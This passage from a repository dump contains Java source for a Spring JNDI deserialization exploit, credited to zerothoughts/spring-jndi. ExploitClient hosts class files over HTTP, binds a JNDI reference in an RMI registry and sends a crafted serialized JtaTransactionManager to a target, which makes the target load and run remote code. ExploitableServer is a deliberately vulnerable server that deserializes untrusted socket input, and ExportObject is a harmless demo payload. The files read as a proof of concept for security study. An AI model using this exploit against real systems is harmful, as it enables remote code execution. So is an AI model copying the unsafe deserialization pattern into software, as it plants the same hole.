spring; 2 | 3 | import java.io.*; 4 | import java.net.*; 5 | import java.rmi.registry.*; 6 | import com.sun.net.httpserver.*; 7 | import com.sun.jndi.rmi.registry.*; 8 | import javax.naming.*; 9 | 10 | /* 11 | * https://github.com/zerothoughts/spring-jndi 12 | */ 13 | 14 | public class ExploitClient { 15 | public static void main(String[] args) { 16 | try { 17 | String serverAddress = args[0]; 18 | int port = Integer.parseInt(args[1]); 19 | String localAddress= args[2]; 20 | 21 | System.out.println("Starting HTTP server"); 22 | HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0); 23 | httpServer.createContext("/",new HttpFileHandler()); 24 | httpServer.setExecutor(null); 25 | httpServer.start(); 26 | 27 | System.out.println("Creating RMI Registry"); 28 | Registry registry = LocateRegistry.createRegistry(1099); 29 | Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/"); 30 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); 31 | registry.bind("Object", referenceWrapper); 32 | 33 | System.out.println("Connecting to server "+serverAddress+":"+port); 34 | Socket socket=new Socket(serverAddress,port); 35 | System.out.println("Connected to server"); 36 | String jndiAddress = "rmi://"+localAddress+":1099/Object"; 37 | 38 | org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); 39 | object.setUserTransactionName(jndiAddress); 40 | 41 | System.out.println("Sending object to server..."); 42 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); 43 | objectOutputStream.writeObject(object); 44 | objectOutputStream.flush(); 45 | while(true) { 46 | Thread.sleep(1000); 47 | } 48 | } catch(Exception e) { 49 | e.printStackTrace(); 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/spring/ExploitableServer.java: -------------------------------------------------------------------------------- 1 | package spring; 2 | 3 | import java.io.*; 4 | import java.net.*; 5 | 6 | /* 7 | * code from https://github.com/zerothoughts/spring-jndi 8 | */ 9 | 10 | public class ExploitableServer { 11 | public static void main(String[] args) { 12 | try { 13 | ServerSocket serverSocket = new ServerSocket(Integer.parseInt(args[0])); 14 | System.out.println("Server started on port "+serverSocket.getLocalPort()); 15 | while(true) { 16 | Socket socket=serverSocket.accept(); 17 | System.out.println("Connection received from "+socket.getInetAddress()); 18 | ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); 19 | try { 20 | Object object = objectInputStream.readObject(); 21 | System.out.println("Read object "+object); 22 | } catch(Exception e) { 23 | System.out.println("Exception caught while reading object"); 24 | e.printStackTrace(); 25 | } 26 | } 27 | } catch(Exception e) { 28 | e.printStackTrace(); 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/spring/ExportObject.java: -------------------------------------------------------------------------------- 1 | package spring; 2 | 3 | /* 4 | * https://github.com/zerothoughts/spring-jndi 5 | */ 6 | 7 | public class ExportObject { 8 | public ExportObject() { 9 | try { 10 | while(true) { 11 | System.out.println("running injected code..."); 12 | Thread.sleep(1000); 13 | } 14 | } catch(Exception e) { 15 | e.printStackTrace(); 16 | } 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /src/spring/HttpFileHandler.java: -------------------------------------------------------------------------------- 1 | package spring; 2 | import com.sun.net.httpserver.*; 3 | import java.io.*; 4 | 5 | /* 6 | * https://github.com/zerothoughts/spring-jndi 7 | */ 8 | 9 | public class HttpFileHandler implements HttpHandler { 10 | public void handle(HttpExchange httpExchange) { 11 | try { 12 | System.out.println("new http request from "+httpExchange.getRemoteAddress()+" "+httpExchange.getRequestURI()); 13 | InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath()); 14 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 15 | while(inputStream.available()>0) { 16 | byteArrayOutputStream.write(inputStream.read()); 17 | } 18 | 19 | byte[] bytes = byteArrayOutputStream.toByteArray(); 20 | httpExchange.sendResponseHeaders(200, bytes.length); 21 | httpExchange.getResponseBody().write(bytes); 22 | httpExchange.close(); 23 | } catch(Exception e) { 24 | e.printStackTrace(); 25 | } 26 | } 27 | } 28 | --------------------------------------------------------------------------------